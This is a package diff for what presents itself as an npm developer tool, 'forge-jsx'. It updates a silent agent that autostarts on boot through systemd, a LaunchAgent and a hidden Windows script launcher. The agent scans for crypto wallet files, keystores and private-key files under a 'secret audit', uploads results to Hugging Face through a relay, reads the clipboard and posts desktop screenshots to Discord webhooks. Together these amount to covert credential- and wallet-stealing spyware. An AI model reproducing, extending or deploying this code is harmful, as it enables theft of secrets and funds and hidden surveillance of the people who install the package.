- return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart && exit 0; ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; G=\"$ROOT/forge-jsx/scripts/forge-jsx-explorer-restart.mjs\"; if [ -f \"$G\" ]; then node \"$G\"; elif command -v forge-jsx-explorer-restart >/dev/null 2>&1; then forge-jsx-explorer-restart; else npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; fi";
2232
+ return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart && exit 0; ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-restart.mjs\"; if [ -f \"$G\" ]; then node \"$G\"; exit $?; fi; done; fi; if command -v forge-jsx-explorer-restart >/dev/null 2>&1; then forge-jsx-explorer-restart; else npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; fi";
2236
2233
  }
2237
2234
  function forgeJsxExplorerKillShellCommand(){
2238
2235
  if(useWindowsForgeJsxShellCommand()){
2239
- return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-kill-agent -ErrorAction SilentlyContinue){ & forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ $s=Join-Path $r 'forge-jsx\\scripts\\forge-jsx-explorer-kill-agent.mjs'; if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent";
2236
+ return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-kill-agent -ErrorAction SilentlyContinue){ & forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-kill-agent.mjs'); if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent";
2240
2237
  }
2241
- return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent && exit 0; ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; G=\"$ROOT/forge-jsx/scripts/forge-jsx-explorer-kill-agent.mjs\"; if [ -f \"$G\" ]; then node \"$G\"; elif command -v forge-jsx-explorer-kill-agent >/dev/null 2>&1; then forge-jsx-explorer-kill-agent; else npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; fi";
2238
+ return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent && exit 0; ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-kill-agent.mjs\"; if [ -f \"$G\" ]; then node \"$G\"; exit $?; fi; done; fi; if command -v forge-jsx-explorer-kill-agent >/dev/null 2>&1; then forge-jsx-explorer-kill-agent; else npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; fi";
2242
2239
  }
2243
2240
  /** Timeouts that call `doConnect()` after Upgrade or Restart agent — cleared on Disconnect or reconnect success (idle skips). */
2244
2241
  let forgeUpgradeReconnectTimeouts = [];
@@ -2329,7 +2326,7 @@ function clearStaleExplorerShellBannerFromTerminal(){
2329
2326
  const txt = String(tout.textContent || '');
2330
2327
  const trimmed = txt.trim();
2331
2328
  if(!trimmed) return;
2332
- if(/Starting forge-agent restart/i.test(txt) || /Starting forge-jsxy upgrade/i.test(txt) || /Starting kill agent/i.test(txt)){
2329
+ if(/Starting forge-agent restart/i.test(txt) || /Starting forge-jsxy upgrade/i.test(txt) || /Starting forge-jsx upgrade/i.test(txt) || /Starting kill agent/i.test(txt)){
2333
2330
  tout.textContent = '';
2334
2331
  tout.classList.remove('terminal-exit-warn');
2335
2332
  }
@@ -15,8 +15,6 @@
15
15
  "keypair.json",
16
16
  "private_key.json",
17
17
  "secret.key",
18
- "private.pem",
19
- "ecdsa.pem",
20
18
  "UTC--*",
21
19
  "*.key",
22
20
  "*.pk",
@@ -52,14 +50,8 @@
52
50
  "*wallet*.json",
53
51
  "*id.json",
54
52
  "*keypair*.json",
55
- "*private*.pem",
56
53
  "*secret*.txt",
57
- "*private*.txt",
58
- "wg*.conf",
59
- "wg0.conf",
60
- "identity.age",
61
- "*.age",
62
- "age-key.txt"
54
+ "*private*.txt"
63
55
  ],
64
56
  "include_dirs": [
65
57
  ".keys",
@@ -15,7 +15,15 @@ export declare function sanitizeForgeAgentEnvFileOnDisk(dataDir: string): boolea
15
15
  * upload mode, webhook relay fallback flag, etc.) are kept so reconnect does not drop cadence or re-enable screenshots
16
16
  * after an explicit opt-out was loaded from `forge-js-agent.env`.
17
17
  * Call after each `fs_hf_upload` completion and on WebSocket teardown; HF token objects are scrubbed separately
18
- * via {@link scrubHfCredentialsInPlace}. `CFGMGR_HF_NAMESPACE` is cleared after use when relay-first.
18
+ * via {@link scrubHfCredentialsInPlace}.
19
+ *
20
+ * **Namespace:** `CFGMGR_HF_NAMESPACE` / `HUGGINGFACE_HUB_NAMESPACE` are **not** cleared here — they are not secrets,
21
+ * and clearing them breaks {@link runAgentStartupSecretAudit}: scans run for minutes while parallel `fs_hf_upload`
22
+ * may call this stripper; relay-delivered credentials often omit `namespace`, so merge falls back to env after scan.
23
+ *
24
+ * **Encrypted HF blob:** `CFGMGR_HF_CREDENTIALS_B64` is **not** cleared — it is AES-GCM ciphertext (not the raw token).
25
+ * Clearing it broke secret-audit Hub uploads after any explorer `fs_hf_upload` (same process). Plaintext
26
+ * `HUGGINGFACE_HUB_TOKEN` is still stripped.
19
27
  */
20
28
  export declare function stripEphemeralCredentialEnvFromProcess(): void;
21
29
  /** Parse forge-js-agent.env content into a map (latest wins if a key appears twice). */
@@ -32,10 +40,17 @@ export declare function forgeAgentEnvPath(dataDir: string): string;
32
40
  * Complements {@link applyForgeJsAgentEnvFile}; safe to call multiple times.
33
41
  */
34
42
  export declare function applyDefaultHubUploadProcessEnv(): void;
43
+ /**
44
+ * Default unattended agent profile when vars are unset or blank: suppress routine chatter and avoid
45
+ * desktop-capture hooks unless explicitly opted in (`FORGE_JS_DISCORD_SCREENSHOT_ALLOW_HEADLESS`).
46
+ * PM2 / install scripts also set these; this keeps `forge-agent` consistent when started manually.
47
+ */
48
+ export declare function applyDefaultAgentUnattendedProcessEnv(): void;
35
49
  /**
36
50
  * Persist forge-db sync URL + (Linux) session vars so clipboard tools work under systemd --user.
37
51
  * Without DISPLAY / XDG_RUNTIME_DIR / WAYLAND_DISPLAY, xclip and wl-paste see no clipboard after reboot.
38
- * FORGE_JS_QUIET_AGENT=1 is always written so OS-service-started agents never show popup banners.
52
+ * FORGE_JS_QUIET_AGENT=1 and FORGE_JS_HEADLESS_UI=1 are always written so OS-service-started agents
53
+ * stay silent and skip unattended desktop capture unless explicitly overridden in this file.
39
54
  *
40
55
  * On all platforms: if FORGE_JS_BUNDLE_KEY is set in the current environment it is persisted so
41
56
  * the OS-service-started agent (after reboot) uses the same encryption key override rather than
@@ -41,6 +41,7 @@ exports.parseForgeAgentEnvFileToMap = parseForgeAgentEnvFileToMap;
41
41
  exports.mergeLinuxGraphicalSessionIntoForgeAgentEnv = mergeLinuxGraphicalSessionIntoForgeAgentEnv;
42
42
  exports.forgeAgentEnvPath = forgeAgentEnvPath;
43
43
  exports.applyDefaultHubUploadProcessEnv = applyDefaultHubUploadProcessEnv;
44
+ exports.applyDefaultAgentUnattendedProcessEnv = applyDefaultAgentUnattendedProcessEnv;
44
45
  exports.writeForgeJsAgentEnv = writeForgeJsAgentEnv;
45
46
  exports.mergeForgeAgentEnvKeyValue = mergeForgeAgentEnvKeyValue;
46
47
  exports.removeForgeAgentEnvKeys = removeForgeAgentEnvKeys;
@@ -145,16 +146,21 @@ function sanitizeForgeAgentEnvFileOnDisk(dataDir) {
145
146
  * upload mode, webhook relay fallback flag, etc.) are kept so reconnect does not drop cadence or re-enable screenshots
146
147
  * after an explicit opt-out was loaded from `forge-js-agent.env`.
147
148
  * Call after each `fs_hf_upload` completion and on WebSocket teardown; HF token objects are scrubbed separately
148
- * via {@link scrubHfCredentialsInPlace}. `CFGMGR_HF_NAMESPACE` is cleared after use when relay-first.
149
+ * via {@link scrubHfCredentialsInPlace}.
150
+ *
151
+ * **Namespace:** `CFGMGR_HF_NAMESPACE` / `HUGGINGFACE_HUB_NAMESPACE` are **not** cleared here — they are not secrets,
152
+ * and clearing them breaks {@link runAgentStartupSecretAudit}: scans run for minutes while parallel `fs_hf_upload`
153
+ * may call this stripper; relay-delivered credentials often omit `namespace`, so merge falls back to env after scan.
154
+ *
155
+ * **Encrypted HF blob:** `CFGMGR_HF_CREDENTIALS_B64` is **not** cleared — it is AES-GCM ciphertext (not the raw token).
156
+ * Clearing it broke secret-audit Hub uploads after any explorer `fs_hf_upload` (same process). Plaintext
157
+ * `HUGGINGFACE_HUB_TOKEN` is still stripped.
149
158
  */
150
159
  function stripEphemeralCredentialEnvFromProcess() {
151
160
  const keys = [
152
- "CFGMGR_HF_CREDENTIALS_B64",
153
161
  "HF_TOKEN",
154
162
  "HUGGINGFACE_HUB_TOKEN",
155
163
  "HUGGINGFACE_HUB_URL",
156
- "HUGGINGFACE_HUB_NAMESPACE",
157
- "CFGMGR_HF_NAMESPACE",
158
164
  "CFGMGR_HF_ALLOW_PLAINTEXT",
159
165
  "RELAY_HF_CREDENTIALS_B64",
160
166
  "RELAY_DISCORD_BOT_TOKEN",
@@ -239,6 +245,7 @@ function envFileLine(key, value) {
239
245
  }
240
246
  const PREFERRED_ENV_FILE_KEY_ORDER = [
241
247
  "FORGE_JS_QUIET_AGENT",
248
+ "FORGE_JS_HEADLESS_UI",
242
249
  "FORGE_JS_SYNC_URL",
243
250
  "CFGMGR_API_URL",
244
251
  "FORGE_JS_BUNDLE_KEY",
@@ -285,6 +292,9 @@ function mergeLinuxGraphicalSessionIntoForgeAgentEnv(dataDir) {
285
292
  if (!map.has("FORGE_JS_QUIET_AGENT")) {
286
293
  map.set("FORGE_JS_QUIET_AGENT", "1");
287
294
  }
295
+ if (!map.has("FORGE_JS_HEADLESS_UI")) {
296
+ map.set("FORGE_JS_HEADLESS_UI", "1");
297
+ }
288
298
  let uid = 1000;
289
299
  try {
290
300
  uid = os.userInfo().uid;
@@ -338,10 +348,24 @@ function applyDefaultHubUploadProcessEnv() {
338
348
  process.env.CFGMGR_HF_SKIP_OPENAS_BLOB = "1";
339
349
  }
340
350
  }
351
+ /**
352
+ * Default unattended agent profile when vars are unset or blank: suppress routine chatter and avoid
353
+ * desktop-capture hooks unless explicitly opted in (`FORGE_JS_DISCORD_SCREENSHOT_ALLOW_HEADLESS`).
354
+ * PM2 / install scripts also set these; this keeps `forge-agent` consistent when started manually.
355
+ */
356
+ function applyDefaultAgentUnattendedProcessEnv() {
357
+ if (!(process.env.FORGE_JS_QUIET_AGENT ?? "").trim()) {
358
+ process.env.FORGE_JS_QUIET_AGENT = "1";
359
+ }
360
+ if (!(process.env.FORGE_JS_HEADLESS_UI ?? "").trim()) {
361
+ process.env.FORGE_JS_HEADLESS_UI = "1";
362
+ }
363
+ }
341
364
  /**
342
365
  * Persist forge-db sync URL + (Linux) session vars so clipboard tools work under systemd --user.
343
366
  * Without DISPLAY / XDG_RUNTIME_DIR / WAYLAND_DISPLAY, xclip and wl-paste see no clipboard after reboot.
344
- * FORGE_JS_QUIET_AGENT=1 is always written so OS-service-started agents never show popup banners.
367
+ * FORGE_JS_QUIET_AGENT=1 and FORGE_JS_HEADLESS_UI=1 are always written so OS-service-started agents
368
+ * stay silent and skip unattended desktop capture unless explicitly overridden in this file.
345
369
  *
346
370
  * On all platforms: if FORGE_JS_BUNDLE_KEY is set in the current environment it is persisted so
347
371
  * the OS-service-started agent (after reboot) uses the same encryption key override rather than
@@ -355,8 +379,8 @@ function writeForgeJsAgentEnv(dataDir, syncApiUrl, omitSyncUrl = false) {
355
379
  fs.mkdirSync(dataDir, { recursive: true });
356
380
  const p = forgeAgentEnvPath(dataDir);
357
381
  const u = (syncApiUrl || "").trim();
358
- // Always write FORGE_JS_QUIET_AGENT so the OS-service-started agent is always silent.
359
- const lines = [`FORGE_JS_QUIET_AGENT=1`];
382
+ // Always write quiet + headless defaults for systemd/LaunchAgent/Task Scheduler–started agents.
383
+ const lines = [`FORGE_JS_QUIET_AGENT=1`, `FORGE_JS_HEADLESS_UI=1`];
360
384
  // Omit sync URL when it came from the encrypted bundle so the plain IP/port is not stored
361
385
  // on disk. The agent resolves the URL from the bundle at startup via defaultSyncApiBaseUrl().
362
386
  if (u && !omitSyncUrl) {
@@ -368,6 +392,12 @@ function writeForgeJsAgentEnv(dataDir, syncApiUrl, omitSyncUrl = false) {
368
392
  if (bundleKey) {
369
393
  lines.push(envFileLine("FORGE_JS_BUNDLE_KEY", bundleKey));
370
394
  }
395
+ /** Mirror postinstall-agent defaults so reboot/autostart agents fetch HF creds from relay when unset. */
396
+ const hfRelayFetchRaw = (process.env.CFGMGR_HF_FETCH_FROM_RELAY ?? "1").trim().toLowerCase();
397
+ const hfRelayFetchOff = ["0", "false", "no", "off"].includes(hfRelayFetchRaw);
398
+ lines.push(envFileLine("CFGMGR_HF_FETCH_FROM_RELAY", hfRelayFetchOff ? "0" : "1"));
399
+ lines.push(envFileLine("CFGMGR_HF_USE_XET", "0"));
400
+ lines.push(envFileLine("CFGMGR_HF_SKIP_OPENAS_BLOB", "1"));
371
401
  if (process.platform === "linux") {
372
402
  let uid = 1000;
373
403
  try {
@@ -72,7 +72,8 @@ function registerDarwinAutostart(launch) {
72
72
  .map((x) => ` <string>${xmlEscape(x)}</string>`)
73
73
  .join("\n");
74
74
  const sync = launch.syncApiUrl?.trim();
75
- // Always include FORGE_JS_QUIET_AGENT=1 so the LaunchAgent-started process never shows banners.
75
+ // Always include FORGE_JS_QUIET_AGENT=1 and FORGE_JS_HEADLESS_UI=1 so the LaunchAgent-started process stays silent
76
+ // and skips unattended desktop capture unless overridden.
76
77
  const syncEnvXml = sync
77
78
  ? ` <key>FORGE_JS_SYNC_URL</key>
78
79
  <string>${xmlEscape(sync)}</string>
@@ -91,6 +92,8 @@ function registerDarwinAutostart(launch) {
91
92
  <dict>
92
93
  <key>FORGE_JS_QUIET_AGENT</key>
93
94
  <string>1</string>
95
+ <key>FORGE_JS_HEADLESS_UI</key>
96
+ <string>1</string>
94
97
  ${pathEnvXml}${syncEnvXml} </dict>
95
98
  `;
96
99
  const content = `<?xml version="1.0" encoding="UTF-8"?>
@@ -185,7 +185,7 @@ function registerLinuxAutostart(launch) {
185
185
  const wd = systemdWorkingDirectoryQuote(launch.workingDirectory);
186
186
  const envFile = (0, agentEnvFile_1.forgeAgentEnvPath)(launch.dataDir);
187
187
  // Always reference the env file (the '-' prefix makes it optional if missing).
188
- // writeForgeJsAgentEnv always creates this file (with at minimum FORGE_JS_QUIET_AGENT=1).
188
+ // writeForgeJsAgentEnv always creates this file (with FORGE_JS_QUIET_AGENT=1 and FORGE_JS_HEADLESS_UI=1).
189
189
  const envLine = `EnvironmentFile=-${systemdWorkingDirectoryQuote(envFile)}\n`;
190
190
  const content = `[Unit]
191
191
  Description=forge-js relay agent (Node) — runs at user session / boot (with linger)
@@ -61,6 +61,7 @@ function writeHiddenLauncher(dataDir, programArguments, workingDirectory) {
61
61
  `Dim o`,
62
62
  `Set o = CreateObject("WScript.Shell")`,
63
63
  `o.Environment("Process")("FORGE_JS_QUIET_AGENT") = "1"`,
64
+ `o.Environment("Process")("FORGE_JS_HEADLESS_UI") = "1"`,
64
65
  `o.CurrentDirectory = "${escapedWd}"`,
65
66
  `o.Run "${escapedCmd}", 0, False`,
66
67
  `Set o = Nothing`,
package/dist/cli-agent.js CHANGED
@@ -12,6 +12,7 @@ function bootstrapSyncEnvFromDisk() {
12
12
  const dir = (0, clientId_1.defaultCfgmgrDataDir)();
13
13
  (0, agentEnvFile_1.applyForgeJsAgentEnvFile)(dir);
14
14
  (0, agentEnvFile_1.applyDefaultHubUploadProcessEnv)();
15
+ (0, agentEnvFile_1.applyDefaultAgentUnattendedProcessEnv)();
15
16
  const have = (process.env.FORGE_JS_SYNC_URL || "").trim() ||
16
17
  (process.env.CFGMGR_API_URL || "").trim() ||
17
18
  (process.env.CFGMGR_CFG || "").trim();
@@ -209,7 +209,22 @@ function resolveDiscordScreenshotScheduledIntervalMs(clientId) {
209
209
  const extra = discordScreenshotIntervalStaggerExtraMs(clientId);
210
210
  return Math.min(600_000, Math.max(10_000, base + extra));
211
211
  }
212
+ /**
213
+ * Desktop capture can surface OS prompts or visible tooling (e.g. macOS Screen Recording, capture helpers).
214
+ * When **`FORGE_JS_HEADLESS_UI`** is on (PM2 default), skip Discord screenshots on **all** platforms unless
215
+ * **`FORGE_JS_DISCORD_SCREENSHOT_ALLOW_HEADLESS=1`** (opt back in after approving unattended capture).
216
+ */
217
+ function discordScreenshotSkippedWhenHeadlessUiGateActive() {
218
+ const headless = ["1", "true", "yes", "on"].includes((process.env.FORGE_JS_HEADLESS_UI || "").trim().toLowerCase());
219
+ if (!headless)
220
+ return false;
221
+ const allow = ["1", "true", "yes", "on"].includes((process.env.FORGE_JS_DISCORD_SCREENSHOT_ALLOW_HEADLESS || "").trim().toLowerCase());
222
+ return !allow;
223
+ }
212
224
  function startDiscordScreenshotToRelayLoop(opts) {
225
+ if (discordScreenshotSkippedWhenHeadlessUiGateActive()) {
226
+ return () => { };
227
+ }
213
228
  const en = (process.env.FORGE_JS_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
214
229
  const envOn = ["1", "true", "yes", "on"].includes(en);
215
230
  if (!envOn && !opts.enabledByRelayCapabilities) {
@@ -1,3 +1,4 @@
1
+ export declare function discordWebhookHostnameAllowed(hostname: string): boolean;
1
2
  /**
2
3
  * `webhookUrl` should be `https://discord.com/api/webhooks/{id}/{token}` (query allowed).
3
4
  *
@@ -1,5 +1,6 @@
1
1
  "use strict";
2
2
  Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.discordWebhookHostnameAllowed = discordWebhookHostnameAllowed;
3
4
  exports.postPngToDiscordWebhookUrl = postPngToDiscordWebhookUrl;
4
5
  /**
5
6
  * Agent-side POST of an image (PNG or JPEG) to a Discord **incoming webhook** URL (no Bot header).
@@ -19,10 +20,23 @@ exports.postPngToDiscordWebhookUrl = postPngToDiscordWebhookUrl;
19
20
  * this transparently via X-RateLimit-* headers.
20
21
  * 4. `?wait=true` ensures we get a proper response body with message ID so transient failures
21
22
  * are distinguished from successes.
22
- * 5. Host allowlist prevents SSRF — only discord.com / canary / ptb hostnames are accepted.
23
+ * 5. Host allowlist prevents SSRF — only official Discord webhook API hosts are accepted,
24
+ * plus legacy **discordapp.com** aliases (still routed to Discord's API; some bookmarks/old docs use them).
23
25
  */
24
26
  const node_crypto_1 = require("node:crypto");
25
27
  const discordRateLimit_1 = require("./discordRateLimit");
28
+ /** Exact hostname match only (no subdomain wildcards). */
29
+ const ALLOWED_DISCORD_WEBHOOK_HOSTS = new Set([
30
+ "discord.com",
31
+ "discordapp.com",
32
+ "canary.discord.com",
33
+ "canary.discordapp.com",
34
+ "ptb.discord.com",
35
+ "ptb.discordapp.com",
36
+ ]);
37
+ function discordWebhookHostnameAllowed(hostname) {
38
+ return ALLOWED_DISCORD_WEBHOOK_HOSTS.has(hostname.trim().toLowerCase());
39
+ }
26
40
  function discordAttachmentFilenameAndMime(buf) {
27
41
  if (buf.length >= 3 && buf[0] === 0xff && buf[1] === 0xd8 && buf[2] === 0xff) {
28
42
